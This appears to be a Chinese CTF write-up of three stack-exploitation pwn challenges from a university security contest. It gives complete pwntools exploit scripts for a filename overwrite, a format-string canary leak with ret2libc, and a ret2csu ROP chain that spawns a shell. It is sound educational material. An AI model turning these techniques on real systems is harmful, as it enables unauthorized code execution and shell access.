全国大学生信息安全竞赛半决赛西北赛区 pwn题writeup

阅读量    4728 |   稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

背景

好久没做pwn,国赛半决赛临时复习了栈相关的漏洞利用,正好排上用场,做了几道题,写下此文做个总结和分享我的做题思路。

 

Robot

提供了Binary和libc库
平台:x64

分析确定思路

  • 拖进ida看看先:


  • 试运行 看看保护机制

    有canary又有NX再加上提供了Lib库,真让人让人思绪万千,后来发现其实没有那么复杂,是出题人故意迷惑我们的。
    程序的流程是这样的:

先scanf()输入一串字符串(存在溢出),然后strcmp与一个32位长的字符串比较,相同则进行后续的操作,否则推出。后续操作是用户输入选择1到4,再给变量赋值字符串。除了v0=4时都会把变量传给catfile函数,作为文件名去打开并显示内容。
v0==4的时候是这样的:

可以看到赋值了flag的字符串后就退出了。其实给了lib库迷惑性很大,不过仔细想想,把其他情况的变量覆盖为flag,然后传入catfile()函数就可以通过catfile()函数拿到flag。

所以思路如下:通过scanf()溢出覆盖到v6,然后用户输入除1到4以外的数字,执行catfile()拿到flag。

exp编写

编写exp的时候,注意文件名只能是flag没有其他字符,我想的是用’’字符填充,并且覆盖到v6字符串长度必须要是36字节长,并且要能表示出flag文件的路径,所以我用的是”./“作为填充,因为在Linux这表示当前路径。exp如下:

from pwn import *

context.log_level="debug"
p=remote("172.16.1.101",1337)
#p=process("./Robot")
p.recvuntil("...n")

p.sendline("666")
p.recvuntil(":n")
payload1="327a6c4304ad5938eaf0efb6cc3e53dc"
payload=payload1+''+(64-len(payload1)-1)*''+'./'*16+'flag'+''
p.sendline(payload)
#gdb.attach(p)
p.recvuntil("gn")
p.sendline('5')
print p.recvline(),p.recvline(),p.recvline()

个人收获:
一开始自己做的时候,怎么也拿不到flag,原因在于,文件路径必须36个字节长,而且flag的文件名就是flag,需要一些填充和00截断。填充的字符还不能影响到flag的路径,想了一会儿决定用”./“填充。然后就拿到了flag

pwn1

题目给了binary和lib库

分析确定思路

  • 拿到源文件拖进ida先看看:


    我们可以看到main函数中没有对输入的长度进行限制存在溢出,get_message()函数中存在格式化字符串和溢出漏洞
    发现很明显的格式化字符串漏洞和溢出,然后进虚拟机试运行看看保护,查看got表,再确定思路。


    emmm,有canary,然后nx可执行。再加上main函数和get_message函数都存在溢出问题。
    所以确定思路为:

先通过格式化字符串漏洞,泄露出canary值,然后再通过get_message()函数的gets(s)溢出返回到main函数,泄露gets函数地址,再通过泄露的函数地址和给的lib库计算出,system()函数和”/bin/sh”的地址,然后再借助getmessage()函数溢出返回执行system(“/bin/sh”)

调试确定偏移

  • 试运行确定格式化字符串的偏移量

    发现要访问到我们自己输入的格式化串的偏移量为46,再验证下:

    泄露canary之前必须得知道canary位置在哪儿,所以先动态调试调试确定canary与我们的输入的偏移量:
    刚执行完从gs:0x14处获得canary值得指令,执行完毕后查看eax=0xb2b64100(这里截图没截到)
    然后看看栈中的情况:

    可以发现我们输入的AAAA与cannary差了25个dword。
    然后与之前的46相结合,偏移量为71即可泄露canary.

然后用同样的方法可以确实getmessage()函数中我们的输入与canary的偏移量,为100个字节,canary与返回地址偏移量为12字节,从而构造payload利用泄露的canary溢出修改函数返回地址到main函数,然后再泄露gets函数位置。

编写exp

from pwn import *

p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("./libc2.so")
main=0x804851b
deadbeef=0xdeadbeef
got_gets=elf.got['gets']
print hex(got_gets)

#leak the cannary first
p.recvuntil("name:")
payload="AAAA"+"%71$x"
#gdb.attach(p)![](https://p1.ssl.qhimg.com/t01454ae1ecf5a2cff6.png)
p.sendline(payload)
p.recvline()
cannary= int(p.recv()[4:12],16)
print " cannary: "+hex(cannary)

# ret to the main fuction

payload2="a"*100+p32(cannary)+12*"b"+p32(main)
#p.recvuntil(":")
p.sendline(payload2)

# leak the gets address

payload3=p32(got_gets)+"   %46$s"
p.recvuntil("name:")
p.sendline(payload3)
gdb.attach(p)
p.recvline()
gets_addr=u32(p.recv()[7:11])
print "gets_addr" +hex(gets_addr)


#caculate the systemaddr and binshaddr
system_addr=gets_addr-(libc.symbols['gets']-libc.symbols['system'])
print "system addr:  "+hex(system_addr)
binsh_addr=gets_addr-(libc.symbols['gets']-next(libc.search('/bin/sh')))
print "binsh addr :" +hex(binsh_addr)

# get the shell
payload4="a"*100+p32(cannary)+12*"b"+p32(system_addr)+p32(deadbeef)+p32(binsh_addr)
p.sendline(payload4)



p.interactive()

个人收获:
之前接触格式化字符串,感觉很简单,并没有实际操作,然后比赛的时候遇到真的很艰难,特别是用格式化字符串泄露的时候,recv到的结果不知道取那些位,调试了好久终于对这些东西开始敏感了,也知道坑在哪里了。

pwn

题目给了Binary和lib库

  • 分析文件流程

拖进ida看看:

x64程序

很明显的溢出
再看看保护机制

啥也没开,甚至可以使用shellcode,不过使用shellcode要能泄露出栈中的地址,有点麻烦,我使用的是rop。

思路

通过位于csu_init中的通用gadget泄露write函数的地址,从而计算出system函数地址,再用通用gadget将system地址和”/bin/sh”写入bss段,再通过通用gadget执行system(“/bin/sh”)

exp 编写

借助通用型的rop编写exp,但是有点坑,有点小小的不同。

通用rop是借助的csu_init这个函数
的代码片段:

与蒸米大大的文章中有所不同,0x400600处mov指令操作的对象有所不同,可以查看蒸米大大的文章进行比对。所以从实际出发,构造的栈参数应该是这样的:

#0
#0
#1
#函数地址
#rdx
#rsi
#rdi

所以exp为:

from pwn import *
elf = ELF('pwn')
libc=ELF('libc.so')



p = process('./pwn')
bss_addr = elf.bss(0x10)
got_write = elf.got['write']
got_read = elf.got['read']
log.success("The write got address is "+ hex(got_write))
log.success("The read got address is "+ hex(got_read))
main = 0x400587
def leak(address):
    p.recv()
    payload =  "x00"*136
    payload += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(address) + p64(1)
    payload += p64(0x400600)
    payload += "x00"*56
    payload += p64(main)
    p.send(payload)
    data = p.recv(8)
    return data
write_addr=u64(leak(got_write))
print "write:"+hex(write_addr)
print "bss:" +hex(bss_addr)
system_addr=write_addr-libc.symbols['write']+libc.symbols['system']
binsh='/bin/sh'
log.success("The system address is " + hex(system_addr))
payload2 = 'x00' * 136
payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0)
payload2 += p64(0x400600)
payload2 += "x00" * 56
payload2 += p64(main)
p.send(payload2)
addr=p64(system_addr)+binsh
p.send(addr)

payload3 = 'x00' * 136
payload3 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8)
payload3 += p64(0x400600)
payload3 += "x00"*56
payload3 += p64(main)
p.send(payload3)

p.interactive()

个人收获,由于csu_init中的gadaget与蒸米大大文章中有所区别,所以自己调试了很多遍,终于发现了为啥get不了shell对利用通用gadget写exp脚本有了更深的理解

 

总结

这几道题是pwn选手必会的栈漏洞利用题目类型,看着原理简单,但是到自己写exp的时候就犯难了,所以自己动手实践很重要。pwn遇到不懂的就应该多调调,我本是做逆向的临时调pwn压力山大,不过还好学到了东西!
talk is cheap , debug is real!
文件放这儿了:
https://pan.baidu.com/s/1ImyewCgZqDDQHE_G2xrNVQ
密码:kcu5
有兴趣的朋友可以自己调调

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多